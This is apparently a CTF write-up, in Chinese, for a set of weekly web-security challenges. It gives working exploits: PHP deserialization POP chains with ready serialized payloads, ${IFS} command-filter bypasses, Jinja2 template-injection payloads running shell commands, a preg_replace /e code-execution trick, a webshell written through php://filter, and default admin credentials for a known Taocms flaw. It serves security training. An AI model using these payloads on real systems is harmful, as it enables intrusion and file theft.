Web
[WEEK1]babyRCE
源码过滤了cat 空格 我们使用${IFS}替换空格 和转义获得flag
[WEEK1]飞机大战
源码js发现unicode编码
\u005a\u006d\u0078\u0068\u005a\u0033\u0074\u006a\u0059\u006a\u0045\u007a\u004d\u007a\u0067\u0030\u005a\u0069\u0030\u0031\u0059\u006d\u0045\u0032\u004c\u0054\u0052\u0068\u004e\u007a\u0055\u0074\u004f\u0057\u0049\u0031\u004e\u0053\u0030\u007a\u004d\u007a\u0063\u0031\u0059\u0032\u0051\u0078\u005a\u0047\u0049\u0079\u004f\u0057\u004a\u0039\u000a
解码获得flag
[WEEK1]登录就给flag
这道题直接爆破password就行 爆破到密码为password发现302跳转 抓包获得flag
[WEEK1]生成你的邀请函吧~
使用POST json请求来生成你的邀请函
直接用脚本就行了
import requests
from PIL import Image
import io
url = "http://112.6.51.212:30908/generate_invitation"
data = {
"name": "C_yi",
"imgurl": "http://q.qlogo.cn/headimg_dl?dst_uin=3590468098&spec=640&img_type=jpg"
}
response = requests.post(url, json=data, verify=False)
# 获取返回的图片内容
image_content = response.content
# 创建一个PIL的Image对象
image = Image.open(io.BytesIO(image_content))
# 保存图片
image.save("avatar.jpg")
然后搜索avatar.jpg
得到flag
[WEEK1]ez_serialize
<?php
highlight_file(__FILE__);
class A{
public $var_1;
public function __invoke(){
include($this->var_1);
}
}
class B{
public $q;
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
echo "hacker";
}
}
}
class C{
public $var;
public $z;
public function __toString(){
return $this->z->var;
}
}
class D{
public $p;
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['payload']))
{
unserialize($_GET['payload']);
}
?>
代码审计
我们反推把 首先看输出点为include()函数
那么执行这个函数 我们就要调用__invoke()魔术方法 这个魔术方法的调用就要通过下面的p参数令 p = new A()(调用条件网上都有)
要想调用p 那就要触发__get()魔术方法 调用这个方法就要看这个z参数 因为z下边无var
想要调用z就要触发__tostring()魔术方法,那就这里是个考点 按道理我们只需要令$var = new C();就可以触发 但看下面这个
Preg_match()函数这个判定就可以直接触发__tostring()魔术方法 那我们直接$p = new B()就可以 那触发__wakeup()函数很简单 反序列就触发
所以构造最终的代码
<?php
class A{
public $var_1 = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
class B{
public $q;
}
class C{
public $var;
public $z;
}
class D{
public $p;
}
$b = new B();
$c = new C();
$b->q = $c;
$d = new D();
$c->z = $d;
$d->p = new A();
var_dump(serialize($b))
?>
Payload:O:1:"B":1:{s:1:"q";O:1:"C":2:{s:3:"var";N;s:1:"z";O:1:"D":1:{s:1:"p";O:1:"A":1:{s:5:"var_1";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}}
然后base64解码就得到falg了
[WEEK1]1zzphp
这道题关键就是利用正则最大回溯绕过,一般下面看到这种就要想到了
所以也没啥难的 按照下面这个自己调试就饿可以了
我的是
import requests
url="http://112.6.51.212:32191/?num[]=1"
data={
'c[ode':'very'*250000+'2023SHCTF'
}
r=requests.post(url,data=data)
print(r.text)
[WEEK1]ezphp
这道题的考点就是研究preg_replace \e模式下的代码执行
可以看这篇文章
深入研究preg_replace \e模式下的代码执行_preg_replace /e-CSDN博客
深入研究preg_replace \e模式下的代码执行_preg_replace()执行问题-CSDN博客
因为这道题的phpinfo()和大括号没被过滤
所以可以利用
题目就是通过get传参code post传参pattern 关键就是下面这句话
preg_replace 使用了 /e 模式,导致了代码可以被执行
那我们直接利用就好了我们通过POST传参 (.*) 的方式传入pattern code传入
原先的语句: preg_replace('/(' . $pattern . ')/ei', 'print_r("\\1"))', $coder);
变成了语句: preg_replace('/(.*)/ei', 'print_r("\\1")', {${phpinfo()}});
所以得到flag了
[WEEK2]no_wake_up
又是一道简单的反序列化题
Exp:
<?php
class flag{
public $username = "admin";
public $code = "php://filter/read=convert.base64-encode/resource=flag.php";
}
$a = new flag();
echo serialize($a);
Paylaod:?try=O:4:"flag":2:{s:8:"username";s:5:"admin";s:4:"code";s:57:" ";}
解码获得flag
[WEEK2]EasyCMS
考点:【CVE-2021-46203】Taocms v3.0.2 任意文件读取
需要登录后台,默认的账号密码为 admin/tao 然后目录穿越获得flag
[WEEK2]ez_ssti
有点像ctfshow 里面的web361
?name={{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}
发现flag
?name={{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}
[WEEK2]serialize
这道题卡了很久 最后也是做出来了 我觉得最大的考点就是数组绕过if(preg_match('/^O:\d+/',$data)){ 而不是采用+ 这点我卡了特别久
js代码:
var arr = ["o123:", "c456:", "d789:"];
arr = arr.filter(function(element) {
return !/[oc]:\d+:/i.test(element); // 返回不匹配正则表达式的元素
});
console.log(arr); // 输出: ["d789:"]
Pop链比较简单:wakeup()->get()->totring()
构造代码
<?php
class misca{
public $gao;
public $fei;
public $a;
}
class musca{
public $ding;
public $dong;
}
class milaoshu{
public $v = "php://filter/read=convert.base64-encode/resource=flag.php"; //为协议读取
}
$m = new musca();
$m->ding = new misca(); //这个就是触发get魔术方法
$m->ding->gao = &$m->ding->a; //把gao赋值给a
$m->ding->fei = new milaoshu(); //触发tostring魔术方法
echo serialize(array($m)); //利用数组进行绕过正则匹配
Payload:a:1:{i:0;O:5:"musca":2:{s:4:"ding";O:5:"misca":3:{s:3:"gao";N;s:3:"fei";O:8:"milaoshu":1:{s:1:"v";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}s:1:"a";R:4;}s:4:"dong";N;}}
解码获得flag
[week3]快问快答
这种短时间内回答的题一看就是要脚本
根据源码写paylaod就行
import requests
import re
import time
def post_answer(url, headers, answer, cookie):#发送请求
answer1 = {'answer': answer}
response=requests.Session()
response = response.post(url, headers=headers, data=answer1,cookies=cookie)#这个需要设cookie,因为每道题的cookie都是不同的
return response
def parse_question(response):#用于计算答案
html = response.text
answer=0
pattern = re.compile(r"<h3>(.*?)</h3>")#提取题目信息
match = pattern.search(html)
if match:
question = match.group(1)
numbers = re.findall(r"\d+", question)
operation = re.findall(r'异或|与|\+|-|x|÷', question)#识别运算符
op=operation[0]
if len(numbers) == 2:
a = int(numbers[0])
b = int(numbers[1])
if op == "异或":
answer = a ^ b
if op == "与":
answer = a & b
if op == "-":
answer = a - b
if op == "+":
answer = a + b
if op == "x":
answer = a * b
if op == "÷":
answer = int(a/b)#这里要特别注意要强转成整形,因为题目只能提交整数,如果不转,脚本运行的时候,会因为提交无效数据而爆500的错误
#print(question)
#print(answer)
else:
print("找不到题目")
return answer
url = "http://112.6.51.212:32776/" # 这里替换为你要访问的网址
headers = {"Content-Type": "application/x-www-form-urlencoded"}
cookie=0
answer = 0
for i in range(1,52):#这里要设置成52,相当于循环了51次,因为第一次是初始化,答案是错的
time.sleep(1)#这里是为了别让程序答得太快,因为题目答题速度是1到2秒之间
response = post_answer(url, headers, answer, cookie)
print(response.text)#打印表单
answer = parse_question(response)
cookie = response.cookies
得到flag
[WEEK3]sseerriiaalliizzee
源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
class Start{
public $barking;
public function __construct(){
$this->barking = new Flag;
}
public function __toString(){
return $this->barking->dosomething();
}
}
class CTF{
public $part1;
public $part2;
public function __construct($part1='',$part2='') {
$this -> part1 = $part1;
$this -> part2 = $part2;
}
public function dosomething(){
$useless = '<?php die("+Genshin Impact Start!+");?>';
$useful= $useless. $this->part2;
file_put_contents($this-> part1,$useful);
}
}
class Flag{
public function dosomething(){
include('./flag,php');
return "barking for fun!";
}
}
$code=$_POST['code'];
if(isset($code)){
echo unserialize($code);
}
else{
echo "no way, fuck off";
}
?>
no way, fuck off
出口函数 file_put_contents,很简单的pop链 Start:__tostring()->CTF:dosomething()
考点就是无非是file_put_contents()
大概意思就是 你能够执行$this-> part1这个命令 但是因为下面这个
里面的die()函数导致你的uesful无法运行 即、$this->part2=执行的命令无法成功
那这里的考点就是file_put_contents利用技巧
具体访问:(*´∇`*) 欢迎回来! (cnblogs.com)
我们直接构造paylaod:
<?php eval('system("ls /");'); ?> 然后base64编码(?前面不加空格 就会编码变成+号)
PD9waHAgZXZhbCgnc3lzdGVtKCJscyAvIik7Jyk7ICA/Pg==
然后
构造脚本
<?php
class Start{
public $barking;
}
class CTF{
public $part1;
public $part2;
}
$start=new Start();
$start->barking=new CTF();
$start->barking->part1="php://filter/write=convert.base64-decode/resource=wenda.php";
$start->barking->part2="PD9waHAgZXZhbCgnc3lzdGVtKCJscyAvIik7Jyk7ICA/Pg==";
//因为$useless能被base64解码的只有phpdie+GenshinImpactStart+一共26个字符,所以需要加2个a凑成28个,4的倍数
//然后写需要执行的命令,进行base64编码,接着访问wenda.php就能得到flag
echo serialize($start);
?>
同理换成 cat /flag
Paylaod:
O:5:"Start":1:{s:7:"barking";O:3:"CTF":2:{s:5:"part1";s:59:"php://filter/write=convert.base64-decode/resource=wenda.php";s:5:"part2";s:54:"aaPD9waHAgZXZhbCgnc3lzdGVtKCJjYXQgL2ZsYWciKTsnKTsgPz4=";}}